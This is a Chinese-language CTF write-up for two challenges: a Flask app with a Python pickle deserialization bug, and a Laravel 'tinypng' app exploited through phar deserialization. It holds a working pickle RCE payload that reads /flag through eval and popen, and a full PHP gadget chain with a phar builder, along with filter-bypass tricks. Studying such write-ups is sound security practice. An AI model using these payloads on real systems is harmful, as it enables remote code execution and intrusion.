Background

r牛去打把题分享出来了,后来发现居然上buu了,就不本地搭建了,直接上去看看,正好马上也要打awdplus了,练练手

easyflask

经典的题目

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)

# add secret key to enable session
# and this is a fake secret key, just an example
app.config['SECRET_KEY'] = 'asdkahga'

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})

@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return render_template('index.html')

@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path:
        return 'disallowed'
        
    with open(path, 'r') as fp:
        content = fp.read()
    return content

@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        print(pickle.loads(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))
        if isinstance(u, dict): 
            u = b64decode(u.get('b'))
            if 'system' in str(u):
                print('no')
                exit();
        u = pickle.loads(u)
        
        if u.is_admin == 1:
            return 'welcome, admin'
        else:
            return 'who are you?'
    except Exception:
        return 'uhh?'
    
if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

但确实第一次接触python反序列化,这里面比较有意思的点是生成Payload最好在linux环境下,因为python序列化的数据
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览
并且这是pickle模块下的功能
dumps 对象反序列化为bytes对象
dump 对象反序列化到文件对象,存入文件
loads 从bytes对象反序列化
load 对象反序列化,从文件中读取数据
而出现漏洞的原因是因为python会自动执行__reduce__函数,跟php中的wakeup一样,基本上就可以rce了
本题payload

import pickle
import os
import base64
User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda: o.uname,
    '__reduce__': lambda:(eval, ("__import__('os').popen('echo `cat /flag ` > /f1ag').read()",))

})
u = pickle.dumps(User())
print(base64.b64encode(u).decode())

tinypng

可以算是这次题目的压轴题目了
解压之后larverl的readme直接给了
直接猜到可能是反序列化题目了
直接就去router下找路由
D0540B46-D5A5-43C8-9F9F-A73D8A2C03BD.png
index路由指向IndexController的fileUpload方法
image路由指向ImageController的handle方法
我们直接定位这两个路由,在第一个路由里面一个上传位点,要求末尾是png
62C9C56A-3A7B-4F25-A408-C7E68F34E8B1.png
内容不能有<?| php|HALT_COMPILER 然后会返回我们的文件名
看下一个类
接受image参数,explode取后缀再次要求了png结尾
A5C117ED-BDCC-41E0-ADA5-EB2B1D8D8AF7.png
$source传入到了imgcompress类
7681724A-E8B9-4CA1-B90A-FC262FB87351.png
并且是可控的,就是这个$this->src
然后又调用compressimg
F9149047-4742-4250-BCB4-4E0B790581DA.png
看到这里基本确定是phar反序列化
说到这了,再次说下phar反序列化的知识点,一般来说文件操作都可以触发反序列化
利用前提

可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控

调试的时候别忘了将php.ini中的phar.readonly设置成off。
那么到底哪些函数能触发phar反序列化
DBF55232-EFB1-4737-9AAD-91EA3DD304B3.png
更多的移步这里 https://blog.csdn.net/weixin_42529544/article/details/113306353
刚才我们注意到 $this->src被getimagesize调用 可以phar反序列化
but
他ban掉了phar的标记字样 <?php__HALT_COMPILER()
这里面的知识点是phar可以解析gzip压缩过的文件
反序列化位点有了,找链子
ImportConfigurator 有destruct()
调用类外函数
找_call
HigherOrderMessage有
可控处可以调用 动态执行函数
$expectation = $this->mock->{$this->method}($method);
找威胁函数
MockTrait general函数有eval
BC8323A5-EE37-4F38-A553-E2395D3CEB82.png
ok 链子完整版

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        private $route;
        public function __construct($class){
            $this->parent=$class;
            $this->route='test';
        }
    }
}

namespace Mockery{
    class HigherOrderMessage{
        private $mock;
        private $method;
        public function __construct($class){
            $this->mock=$class;
            $this->method='generate';
        }
    }
}

namespace PHPUnit\Framework\MockObject{
    final class MockTrait{
        private $mockName;
        private $classCode;
        public function __construct(){
            $this->mockName='123';
            $this->classCode='phpinfo();';
        }
    }
}

namespace{
    use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
    use \Mockery\HigherOrderMessage;
    use \PHPUnit\Framework\MockObject\MockTrait;
    $c=new MockTrait();
    $b=new HigherOrderMessage($c);
    $a=new ImportConfigurator($b);
    @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering(); 
    $phar->setStub('GIF89a'."__HALT_COMPILER();"); 
    $phar->setMetadata($a); 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}

?>